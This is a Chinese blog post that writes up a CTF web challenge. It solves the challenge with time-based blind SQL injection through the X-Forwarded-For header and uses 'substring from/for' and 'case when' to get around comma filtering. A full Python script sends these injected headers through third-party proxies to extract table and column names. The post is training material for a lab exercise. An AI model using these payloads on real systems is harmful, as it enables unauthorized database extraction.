前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ctf-who are you?

ctf-who are you?

作者头像
tnt阿信
发布2020-08-05 10:12:11
1.2K0
发布2020-08-05 10:12:11
举报

Who are you?

题目地址:http://www.shiyanbar.com/ctf/1941

拿到这一题,根据提示域页面显示的ip,很多小伙伴们肯定猜到了这是一道http头注入,且是与ip相关的,与ip相关的头常见的有: Client-IP x-remote-IP x-originating-IP x-remote-addr x-forwarded-for

最常见的可能就是X-Forwarded-For了吧,所以我直接试了一下,将它的值修改为127.0.0.1,页面上的显示也跟着变了,看来就是它了。然后随便加一个单引号试了一下,发现被原样输出在了页面上,也没有报错,然后试了双引号括号等,都没有报错,难道是被过滤了,过滤了还能怎么玩呢?于是暂且排除过滤,联想到了会不会是时间盲注,于是开始写payload,但是在利用substr函数时,发现逗号后面的内容都会被截断,顿时懵逼了,小白刚刚入坑,也不知道怎么绕过,于是百度之,原来substring函数有一用法可以不适用逗号完成截取功能:

代码语言:javascript
复制
substring('mask',1,2)
等价于
substring('mask' from 1 for 2)

还有一个问题,就是我之前遇到盲注都是用if来实现条件判断,但是if大家也知道时需要逗号的,这里可以使用select case when语句来替代。 if与select case when参考,现在,我们就可以来写脚本了。 首先我们需要知道当前数据库所有的表名:

代码语言:javascript
复制
#! /usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import time

chars = r"abcdefghijklmnopqrs tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@;\/:.,0123456789"
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
#设置代理,可以忽略
proxies = {
    "http":"http://115.223.238.191:9000",
    # "http":"http://117.90.252.231:9000",
    # "http":"http://115.218.126.92:9000"
}
#这个函数的作用是获取表名的长度,知道了长度,跑表名更加方便
def get_len():
    len = 1
    while True:

         headers = {
             "X-Forwarded-For":
                 "' or (select case when (select length((select group_concat(table_name) from information_schema.tables where table_schema=database())))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
         }
        # headers = {
        #     "X-Forwarded-For":
        #         "' or (select case when (select length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
        # }
        #headers = {
        #    "X-Forwarded-For":
        #        "' or (select case when (select length((select flag from flag)))={0} then sleep(5) else 1 end) and '1'='1".format(len)
        #}
        print u'当前长度%d'%len
        len += 1
        start = time.time()
        requests.get(url,headers=headers,proxies=proxies)
        end = time.time()
        if end - start >= 5:
            print "The length is %d"%(len-1)
            return len-1

#获取具体的内容      
def get_content():
    result = ''
    for i in range(1,5):
        for char in chars:
             headers = {"X-Forwarded-For":
                            "' or (select case when (select substring(\
                            (select group_concat(table_name) from information_schema.tables where table_schema=database()) \
                           from {0} for 1))='{1}' then sleep(5) else 1 end) and '1'='1".format(i,char)}
            #headers = {
            #    "X-Forwarded-For":
            #        "' or (select case when \
            #        (select substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag') \
            #        from {0} for 1))='{1}' then sleep(5) else 1 end ) and '1'='1".format(i,char)
           # }
            start = time.time()
            requests.get(url,headers=headers,proxies=proxies)
            end = time.time()
            if end - start >= 5:
                result += char
                print u'当前进度:'+result
                break
    print u'结果:'+result
if __name__ == '__main__':
    get_len()
    #get_content()

上面的脚本只需要根据特定的目的,修改为特定的headers就行


我跑了一下当前数据库中group_concat(table_name)的length为14,于是就需要根据这个长度修改一下get_content函数的外层循环的为for i in range(1,15),由于一些失误,这里跑出来的表名混在一起了,但是还是可以才出来最后的flag就是我们想要的表名。

这里写图片描述

然后跑一下字段的长度

这里写图片描述

字段名

这里写图片描述

由于我一开始脚本没有设置代理,所以到跑内容的时候,ip被封了。。。。


没想到已经隔了一周多了,上面写的东西都忘得差不多了,但是还是要完成啊。 继续跑flag的长度:

这里写图片描述

跑到一半网挂了….最终也没跑完,不过思路就这样了,flag也不放出来了。

有大佬给出了用sqlmap与burpsuite的方法,后续可能会补上

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一个安全研究员 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Who are you?
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档